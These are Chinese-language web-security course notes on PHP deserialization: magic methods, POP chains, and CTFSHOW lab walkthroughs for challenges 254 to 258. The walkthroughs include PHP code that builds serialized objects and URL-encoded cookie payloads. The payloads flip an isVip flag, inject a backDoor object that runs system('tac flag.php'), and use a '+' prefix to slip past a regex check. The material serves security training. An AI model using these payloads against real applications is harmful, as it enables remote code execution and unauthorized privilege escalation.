思维导图
见 41WEB攻防
知识点:
- 57、PHP-反序列化-应用&识别&函数
- 58、PHP-反序列化-魔术方法&触发规则
- 59、PHP-反序列化-联合漏洞&POP链构造
章节点:
Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….
1、什么是反序列化操作? - 类型转换
- PHP & JavaEE & Python(见图)
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象1
2serialize() //将对象转换成一个字符串
unserialize() //将字符串还原成一个对象
2、常见PHP魔术方法?- 对象逻辑(见图)
1 | (查看魔术方法的下一行的代码;构造时,有用的留下,没用的删掉。) |
3、为什么会出现安全漏洞?
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
1 |
|
4、反序列化漏洞如何利用?- POP链构造
POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
-反序列化常见起点(见图)
-反序列化常见跳板(见图)
-反序列化常见终点(见图)
CTFSHOW-训练链构造
- 254-对象引用执行逻辑
username=xxxxxx&password=xxxxxx
255-反序列化变量修改1
1
2
3
4
5
6
7
8
9
10
11CODE:
class ctfShowUser{
public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
Get:username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D256-反序列化参数修改2
1
2
3
4
5
6
7
8
9
10
11
12
13
14CODE:
class ctfShowUser{
public $username='xiaodi';
public $password='xiaodisec';
public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
GET:username=xiaodi&password=xiaodisec
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xiaodi%22%3Bs%3A8%3A%22password%22%3Bs%3A9%3A%22xiaodisec%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D257-反序列化参数修改&对象调用逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16CODE:
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("tac flag.php");';
}
echo urlencode(serialize(new ctfShowUser));
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D258-反序列化参数修改&对象调用逻辑&正则
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19CODE:
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="system('tac flag.php');";
}
$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D